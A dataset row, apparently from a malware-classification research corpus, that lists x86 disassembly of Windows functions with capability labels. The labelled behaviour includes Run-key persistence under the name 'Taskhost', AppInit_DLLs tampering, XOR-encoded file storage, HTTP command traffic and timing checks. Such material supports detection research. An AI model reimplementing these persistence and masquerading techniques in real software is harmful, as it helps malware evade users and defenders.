joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408208
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
cmp dword [0x4120b4], 0xffffffff
jne 0x40822c
push 0
call fcn.0040817e
cmp dword [0x4120b4], 0xffffffff
pop ecx
jne 0x40822c
xor eax, eax
leave
ret
push ebx
push esi
push edi
push dword [ebp + 0xc]
call fcn.004056ef
push dword [ebp + 0x10]
mov esi, eax
call fcn.004056ef
mov edx, dword [ebp + 0xc]
mov ebx, eax
lea eax, [ebp - 0x68]
push eax
call fcn.004057af
add esp, 0xc
push 0xa
pop ecx
cmp esi, ecx
jae 0x40826a
sub ecx, esi
xor eax, eax
shr ecx, 1
lea edi, [ebp + esi*2 - 0x68]
rep stosd dword es:[edi], eax
adc ecx, ecx
rep stosw word es:[edi], ax
mov edx, dword [ebp + 0x10]
lea eax, [ebp - 0x54]
push eax
call fcn.004057af
pop ecx
push 0x32
lea eax, [ebx + 0xa]
pop ecx
cmp eax, ecx
jae 0x408292
sub ecx, eax
lea edi, [ebp + eax*2 - 0x68]
xor eax, eax
shr ecx, 1
rep stosd dword es:[edi], eax
adc ecx, ecx
rep stosw word es:[edi], ax
xor esi, esi
xor eax, eax
xor byte [ebp + eax - 0x68], 0x78
inc eax
cmp eax, 0x64
jb 0x408296
mov eax, dword [ebp + 8]
imul eax, eax, 0x64
push esi
push esi
push eax
push dword [0x4120b4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
lea eax, [ebp - 4]
push eax
push 0x64
lea eax, [ebp - 0x68]
push eax
push dword [0x4120b4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4082d2
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
cmp dword [0x4120b4], 0xffffffff
push esi
mov esi, eax
jne 0x4082f5
push 1
call fcn.0040817e
cmp dword [0x4120b4], 0xffffffff
pop ecx
je 0x408361
imul esi, esi, 0x64
push 0
push 0
push esi
push dword [0x4120b4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 4]
push eax
push 0x64
lea eax, [ebp - 0x6c]
push eax
push dword [0x4120b4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x408361
cmp dword [ebp - 4], 0x64
jne 0x408361
xor eax, eax
xor byte [ebp + eax - 0x6c], 0x78
inc eax
cmp eax, 0x64
jb 0x40832d
push dword [ebp + 8]
and word [ebp - 8], 0
lea eax, [ebp - 0x6c]
call fcn.00405731
pop ecx
lea ecx, [ebp - 0x6c]
cmp eax, ecx
jne 0x408361
push dword [ebp + 0xc]
lea edx, [ebp - 0x58]
call fcn.004057af
xor eax, eax
pop ecx
inc eax
jmp 0x408363
xor eax, eax
pop esi
leave
ret
Function at 0x4086ef
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x468
push ebx
push esi
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x464]
push eax
mov eax, 0x40ff10
call fcn.004086c3
test al, al
pop ecx
pop ecx
je 0x408866
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x464]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x408866
mov edi, dword [ebp + 0xc]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
cmp dword [ebp + 0x20], esi
je 0x40875e
push esi
push dword [ebp + 0x20]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x40885d
cmp word [ebp - 0x230], 0x2e
jne 0x40878c
cmp word [ebp - 0x22e], si
je 0x408845
cmp word [ebp - 0x22e], 0x2e
jne 0x40878c
cmp word [ebp - 0x22c], si
je 0x408845
mov eax, dword [ebp - 0x25c]
and eax, 0x10
je 0x40879d
test byte [ebp + 0x14], 2
jne 0x4087a7
cmp eax, esi
jne 0x4087eb
test byte [ebp + 0x14], 4
je 0x4087eb
cmp dword [ebp + 0x10], 0
jbe 0x4087eb
push dword [edi + esi*4]
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x4087c9
inc esi
cmp esi, dword [ebp + 0x10]
jb 0x4087ad
jmp 0x4087eb
push dword [ebp + 0x1c]
lea eax, [ebp - 0x25c]
push eax
push dword [ebp + 8]
call dword [ebp + 0x18]
add esp, 0xc
test al, al
je 0x40885d
cmp dword [ebp + 0x28], 0
je 0x4087eb
push dword [ebp + 0x28]
call ebx
test byte [ebp - 0x25c], 0x10
je 0x408845
test byte [ebp + 0x14], 1
je 0x408845
push dword [ebp + 8]
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x230]
call fcn.004086c3
test al, al
pop ecx
pop ecx
je 0x408845
cmp dword [ebp + 0x24], 0
je 0x408820
push dword [ebp + 0x24]
call ebx
push dword [ebp + 0x28]
lea eax, [ebp - 0x464]
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push edi
push eax
call fcn.004086ef
add esp, 0x24
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x408742
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40886b
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
xor edi, edi
push edi
push edi
push 3
push edi
push 7
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [esi + 8], eax
je 0x4088ff
lea ecx, [ebp - 0xc]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x4088f6
cmp dword [ebp - 8], edi
jne 0x4088f6
mov eax, dword [ebp - 0xc]
cmp eax, edi
mov dword [esi + 4], eax
jne 0x4088b5
mov dword [esi], edi
mov al, 1
jmp 0x408901
push 4
push 0x3000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp eax, edi
mov dword [esi], eax
je 0x4088f6
push edi
lea ecx, [ebp - 4]
push ecx
push dword [esi + 4]
push eax
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4088e8
mov eax, dword [ebp - 4]
cmp eax, dword [esi + 4]
je 0x4088b1
push 0x8000
push edi
push dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
leave
ret

Function at 0x408936
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
lea ecx, [ebp - 8]
push ecx
push 1
push 0
push dword [ebp + 8]
mov dword [ebp - 8], eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x408973
mov eax, dword [ebp + 0x10]
add eax, eax
push eax
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
lea esi, [ebp - 8]
call fcn.00408904
add esp, 0x10
mov ebx, eax
jmp 0x408976
or ebx, 0xffffffff
cmp ebx, 0xffffffff
je 0x4089ec
test bl, 1
jne 0x4089ec
cmp dword [ebp - 4], 1
je 0x40898c
cmp dword [ebp - 4], 2
jne 0x4089ec
xor ecx, ecx
cmp ebx, ecx
jne 0x408997
mov word [edi], cx
jmp 0x4089e8
shr ebx, 1
dec ebx
mov eax, ebx
cmp word [edi + eax*2], cx
je 0x4089ae
inc eax
cmp dword [ebp + 0x10], eax
jbe 0x4089ec
mov word [edi + eax*2], cx
mov ebx, eax
cmp eax, 2
jbe 0x4089e8
cmp dword [ebp - 4], 2
jne 0x4089e8
push edi
call fcn.0040c4a2
mov esi, eax
test esi, esi
pop ecx
je 0x4089d5
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
jne 0x4089d8
or ebx, 0xffffffff
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, ebx
jmp 0x4089ef
or eax, 0xffffffff
pop esi
pop ebx
leave
ret
Function at 0x408aab
Capabilities:
Delete file
Persist via appinit_dlls registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 1
xor esi, esi
push esi
mov ebx, str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push ebx
mov edi, 0x80000002
push edi
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x408af1
lea eax, [ebp - 0x804]
push eax
push str.AppInit_DLLs
lea esi, [ebp - 4]
call fcn.00406e7f
pop ecx
pop ecx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test esi, esi
jne 0x408aff
xor eax, eax
jmp 0x408b34
lea eax, [ebp - 0x804]
push eax
call fcn.004056ef
cmp eax, 4
pop ecx
jbe 0x408b29
push 1
push 0x40fd00
push str.AppInit_DLLs
push ebx
push edi
call fcn.00406ebc
add esp, 0x14
jmp 0x408b34
push str.C:WINDOWS_system32gbdwpbm.dll
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a140
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.0040da80
push edi
xor edi, edi
cmp dword [ebp + 0xc], edi
je 0x40a160
push dword [ebp + 0xc]
call fcn.004056ef
pop ecx
jmp 0x40a162
xor eax, eax
push edi
push 0x4400000
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp + 0x10]
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
cmp eax, edi
mov dword [ebp - 4], eax
jne 0x40a186
xor eax, eax
jmp 0x40a298
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov eax, 0x2001
push esi
push eax
push edi
mov dword [ebp - 0xc], eax
mov dword [ebp + 0xc], eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp byte [esi], 0
jne 0x40a202
xor eax, eax
jmp 0x40a296
mov eax, dword [ebp - 8]
test eax, eax
je 0x40a220
cmp dword [ebp + 0xc], eax
mov byte [ebp + eax - 0x1010], 0
ja 0x40a1e4
mov eax, dword [ebp - 0xc]
add dword [ebp + 0xc], eax
add eax, eax
push eax
push esi
push 0
mov dword [ebp - 0xc], eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov esi, eax
test esi, esi
je 0x40a1ab
push dword [ebp - 8]
lea eax, [ebp - 0x1010]
push eax
lea eax, [esi + edi]
push eax
call fcn.0040caa0
mov eax, dword [ebp - 8]
sub dword [ebp + 0xc], eax
add esp, 0xc
add edi, eax
lea eax, [ebp - 8]
push eax
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp eax, 1
je 0x40a1b2
lea eax, [edi + edi + 2]
push eax
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
jne 0x40a23e
and dword [ebp - 4], eax
jmp 0x40a287
and dword [ebp + 0xc], 0
test esi, esi
mov dword [ebp - 4], 1
mov byte [esi + edi], 0
mov ecx, eax
je 0x40a27d
test edi, edi
jbe 0x40a27d
and word [ecx], 0
test edi, edi
jbe 0x40a27d
mov edx, dword [ebp + 0xc]
movzx dx, byte [edx + esi]
mov word [ecx], dx
mov edx, dword [ebp + 0xc]
cmp byte [edx + esi], 0
je 0x40a27d
inc dword [ebp + 0xc]
inc ecx
inc ecx
cmp dword [ebp + 0xc], edi
jb 0x40a25f
and word [eax + edi*2], 0
mov eax, dword [ebp + 0x18]
mov dword [eax], edi
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 4]
pop esi
pop ebx
pop edi
leave
ret
Function at 0x40a29b
Capabilities:
Connect to http server
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1210
call fcn.0040da80
push ebx
push esi
lea eax, [ebp - 0x210]
push edi
add edx, 0xe
push eax
call fcn.004057af
lea eax, [ebp - 0x210]
push eax
call fcn.004056ef
xor ebx, ebx
push 0x4263f0
mov word [ebp + eax*2 - 0x212], bx
call fcn.004056ef
add esp, 0xc
mov dword [ebp - 8], eax
call fcn.0040c3bc
cmp dword [ebp - 8], ebx
mov esi, eax
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], ebx
jbe 0x40a335
movsx ax, byte [esi]
sub ax, 2
movzx ecx, ax
mov eax, dword [ebp - 4]
push 3
xor edx, edx
pop edi
div edi
sub edx, ebx
je 0x40a321
dec edx
je 0x40a319
dec edx
jne 0x40a327
add ecx, 0xfffe
jmp 0x40a327
add ecx, 0xfffb
jmp 0x40a327
add ecx, 0xffff
mov byte [esi], cl
inc esi
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jb 0x40a2f2
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
lea eax, [ebp - 0x210]
push eax
push dword [0x4124e4]
call dword [sym.imp.WININET.dll_InternetConnectW]
cmp eax, ebx
jne 0x40a358
xor eax, eax
jmp 0x40a3cd
push ebx
push 0x4400100
push ebx
push ebx
push ebx
push dword [ebp + 8]
push 0x410370
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov esi, eax
cmp esi, ebx
je 0x40a354
push dword [ebp - 8]
push dword [ebp - 0xc]
push ebx
push dword [ebp + 0xc]
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
push dword [ebp - 0xc]
mov edi, eax
call fcn.0040c30c
cmp edi, ebx
pop ecx
je 0x40a354
lea eax, [ebp - 0x10]
push eax
push 0x1000
lea eax, [ebp - 0x1210]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov esi, eax
cmp esi, ebx
je 0x40a3cb
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x1210], bl
mov ebx, dword [ebp + 0x10]
lea ecx, [ebp - 0x1210]
call fcn.0040c407
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40a3d2
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0x24
push 0x410a50
call fcn.0040d728
and dword [ebp - 4], 0
call fcn.00405aeb
movzx ecx, cl
inc ecx
cdq
idiv ecx
mov esi, edx
movzx eax, byte [ebp + 8]
add esi, eax
imul esi, esi, 0x3e8
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov ebx, eax
call edi
sub eax, ebx
cmp eax, esi
jae 0x40a44e
push 1
xor eax, eax
push eax
push eax
push eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x40a42f
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x40a40e
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40a406
or dword [ebp - 4], 0xffffffff
call fcn.0040d763
ret
Function at 0x40a458
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0x2c
push 0x410a40
call fcn.0040d728
xor ebx, ebx
mov dword [ebp - 4], ebx
or dword [ebp - 0x1c], 0xffffffff
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov dword [ebp - 0x20], eax
cmp edi, ebx
jl 0x40a4d7
cmp word [ebp - 0x1c], 0xffff
jne 0x40a4d7
call esi
sub eax, dword [ebp - 0x20]
cmp eax, 0x15f90
ja 0x40a4f2
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push ebx
push ebx
push ebx
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x40a4b8
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x40a499
movzx eax, byte [ebp + 8]
imul eax, eax, 0x14
mov eax, dword [eax + 0x42a3f8]
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
push eax
call dword [ecx + 0x7c]
mov edi, eax
cmp edi, ebx
jl 0x40a4f2
jmp 0x40a47a
or dword [ebp - 4], 0xffffffff
xor eax, eax
inc eax
jmp 0x40a4f8
or dword [ebp - 4], 0xffffffff
xor eax, eax
call fcn.0040d763
ret

Function at 0x40a5fd
Capabilities:
Find taskbar

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x4120a4], 0
push ebx
push esi
push edi
mov ebx, eax
jne 0x40a61d
call fcn.0040a55c
test eax, eax
mov dword [ebp - 8], eax
jne 0x40a62f
mov esi, ebx
call fcn.0040a4fe
test eax, eax
mov dword [ebp - 8], eax
je 0x40a6e4
push str.eventConn
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, dword [ebx]
mov edx, dword [ecx]
sub esp, 0x10
mov edi, esp
mov word [ebp - 0x18], 3
mov dword [ebp - 0x10], 1
lea esi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push eax
push ecx
movsd dword es:[edi], dword [esi]
call dword [edx + 0x88]
mov eax, dword [ebx]
mov ecx, dword [eax]
lea edx, [ebp - 4]
push edx
push eax
call dword [ecx + 0x94]
xor esi, esi
cmp dword [ebp - 4], esi
je 0x40a6cb
push esi
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowW]
cmp eax, esi
je 0x40a68f
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetParent]
push 0xffffffffffffffec
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
or eax, 0x80
push eax
push 0xffffffffffffffec
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0x10
push dword [0x4163e0]
mov eax, 0x1388
push dword [0x42191c]
push eax
push eax
push 1
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov eax, dword [ebx]
mov ecx, dword [eax]
push 0xffffffffffffffff
push eax
call dword [ecx + 0xa4]
mov ebx, dword [ebx]
mov eax, dword [ebx]
push esi
push ebx
call dword [eax + 0xf0]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a910
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 8], 0
test eax, eax
push ebx
push esi
push edi
jne 0x40a932
movzx eax, byte [ebp + 8]
imul eax, eax, 0x14
mov edi, dword [eax + 0x42a400]
mov dword [ebp - 4], edi
jmp 0x40a937
mov dword [ebp - 4], eax
mov edi, eax
movzx esi, byte [ebp + 8]
imul esi, esi, 0x14
xor ebx, ebx
inc ebx
test dword [esi + 0x42a404], edi
je 0x40a99a
cmp edi, ebx
jne 0x40a97e
cmp dword [0x42a3f4], ebx
jne 0x40a99e
mov eax, dword [esi + 0x42a3f8]
test eax, eax
je 0x40a99e
mov ecx, dword [eax]
lea edx, [ebp + 8]
push edx
push eax
call dword [ecx + 0xa0]
test eax, eax
jge 0x40a996
and dword [esi + 0x42a3f8], 0
and dword [esi + 0x42a404], 0xfffffffe
cmp edi, 2
jne 0x40a99a
xor eax, eax
cmp dword [esi + 0x42a3fc], eax
jne 0x40a996
and dword [esi + 0x42a404], 0xfffffffd
jmp 0x40a9d7
mov eax, ebx
jmp 0x40aa0b
cmp edi, ebx
jne 0x40a9d0
lea edi, [esi + 0x42a3f8]
mov eax, edi
call fcn.0040a5fd
cmp dword [0x42a3f4], ebx
mov dword [ebp - 8], eax
jne 0x40a9ca
test eax, eax
je 0x40a9ca
mov edi, dword [edi]
mov eax, dword [edi]
push edi
call dword [eax + 4]
or dword [esi + 0x42a404], ebx
jmp 0x40aa08
and dword [edi], 0
mov edi, dword [ebp - 4]
cmp edi, 2
jne 0x40aa08
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
test eax, eax
mov dword [esi + 0x42a3fc], eax
je 0x40aa08
push 4
lea ecx, [ebp + 8]
push ecx
push 0x41
push eax
mov dword [ebp + 8], ebx
call dword [sym.imp.WININET.dll_InternetSetOptionW]
or dword [esi + 0x42a404], 2
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40b0c7
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 4]
push eax
push 1
push 0
mov ebx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push ebx
push 0x80000001
call edi
test eax, eax
jne 0x40b107
push dword [ebp + 8]
lea esi, [ebp - 4]
push str.Taskhost
call fcn.00406e7f
test eax, eax
pop ecx
pop ecx
jne 0x40b135
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 1
push 0
push ebx
push 0x80000002
call edi
test eax, eax
je 0x40b123
xor eax, eax
jmp 0x40b135
push dword [ebp + 8]
lea esi, [ebp - 4]
push str.Taskhost
call fcn.00406e7f
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b80b
Capabilities:
Copy file
Persist via run registry key
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1800
call fcn.0040da80
push ebx
push esi
push edi
push str.Taskhost_JustInstEvent
xor edi, edi
push edi
push 2
call dword [sym.imp.KERNEL32.dll_OpenEventW]
cmp eax, edi
je 0x40b88a
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x400
lea eax, [ebp - 0x800]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 1
lea eax, [ebp - 0x800]
push eax
push str.Taskhost
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call fcn.00406ebc
add esp, 0x14
test eax, eax
push 4
je 0x40b874
push edi
push 3
jmp 0x40b87d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 6
call fcn.0040ac2d
add esp, 0xc
call fcn.0040b793
call fcn.0040afa4
test eax, eax
jne 0x40b885
call fcn.0040b023
test eax, eax
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, 0x400
je 0x40b908
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 4
push edi
push 9
call fcn.0040ac2d
add esp, 0xc
push esi
lea eax, [ebp - 0x1800]
push eax
push edi
call ebx
lea eax, [ebp - 0x800]
push eax
call fcn.0040b0c7
test eax, eax
pop ecx
je 0x40b908
push edi
lea eax, [ebp - 0x800]
push eax
lea eax, [ebp - 0x1800]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40b908
lea eax, [ebp - 0x800]
push eax
call fcn.00407c97
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.0040b080
test eax, eax
je 0x40b97f
lea eax, [ebp - 0x800]
push eax
call fcn.0040b0c7
lea eax, [ebp - 0x800]
push eax
call fcn.00407bce
test eax, eax
pop ecx
pop ecx
je 0x40b96a
lea eax, [ebp - 0x800]
push eax
call fcn.00407c97
test eax, eax
pop ecx
je 0x40b95d
push str.Taskhost_JustInstEvent
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0x7530
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x40b901
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xb
jmp 0x40b975
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 1
call fcn.0040ac2d
add esp, 0xc
jmp 0x40b901
push edi
call fcn.00407bce
cmp eax, edi
pop ecx
push esi
je 0x40b9a1
lea ecx, [ebp - 0x1000]
push ecx
push dword [eax*4 + 0x412040]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
jmp 0x40b9bb
lea eax, [ebp - 0x1000]
push eax
push edi
call ebx
mov ecx, str.__nomove
lea eax, [ebp - 0x1000]
call fcn.0040578b
lea eax, [ebp - 0x1000]
push eax
call fcn.00407c97
test eax, eax
pop ecx
jne 0x40b940
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xb
call fcn.0040ac2d
add esp, 0xc
mov dword [0x412058], edi
jmp 0x40b885

Function at 0x40d236
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x40d240
repz ret
jmp fcn.0040d4db
Function at 0x40a260
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42c4d3
mov eax, dword fs:[0]
push eax
sub esp, 0x10c
mov eax, dword [0x439080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x5c], esi
xorps xmm0, xmm0
mov dword [esi], 0
xor eax, eax
movups xmmword [esi + 4], xmm0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 7
mov word [esi + 4], ax
push esi
push 0xf003f
push eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x3c]
push eax
push 0x80000002
mov dword [ebp - 0x3c], 0x4f0053
mov dword [ebp - 0x38], 0x540046
mov dword [ebp - 0x34], 0x410057
mov dword [ebp - 0x30], 0x450052
mov dword [ebp - 0x2c], 0x41005c
mov dword [ebp - 0x28], 0x4c004f
mov dword [ebp - 0x24], 0x4e005c
mov dword [ebp - 0x20], 0x740065
mov dword [ebp - 0x1c], 0x630073
mov dword [ebp - 0x18], 0x700061
mov dword [ebp - 0x14], 0x65
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edi, eax
test edi, edi
jne 0x40a33f
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040f000
mov esp, ebp
pop ebp
ret
push 1
lea ecx, [ebp - 0x118]
call fcn.00403120
lea eax, [ebp - 0x108]
mov byte [ebp - 4], 1
push str.AOLSBREG::AOLSBREG___RegOpenKeyEx_Failed
push eax
call fcn.00401250
add esp, 8
mov ecx, eax
push edi
call fcn.0040a400
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x118]
call fcn.004090e0
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.00405e50
push eax
lea ecx, [ebp - 0x68]
call fcn.00403840
push 0x437418
lea eax, [ebp - 0x68]
push eax
call fcn.0041020e
int3
Function at 0x40ca10
Capabilities:
Check mutex on windows
Get file attributes

Disassembly:
push ecx
push ebx
push esi
mov ebx, ecx
push edi
push str.AOLSB_update_running_version
mov dword [esp + 0x10], ebx
push dword [ebx]
call fcn.00401870
push eax
call fcn.00402380
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexW]
add esp, 0xc
push dword [0x439008]
push 0
push 0x100000
call edi
mov esi, eax
test esi, esi
je 0x40ca92
push ebp
push str.We_got_a_handle_to_the_mutex___wait_for_aolsb_to_exit
push dword [ebx]
call fcn.004014f0
push eax
call fcn.00402380
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add esp, 0xc
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
nop dword [eax]
push 0xffffffffffffffff
push esi
call ebx
push esi
call ebp
push dword [0x439008]
push 0
push 0x100000
call edi
mov esi, eax
test esi, esi
jne 0x40ca70
mov ebx, dword [esp + 0x10]
pop ebp
pop edi
pop esi
mov ecx, ebx
pop ebx
add esp, 4
jmp fcn.0040d090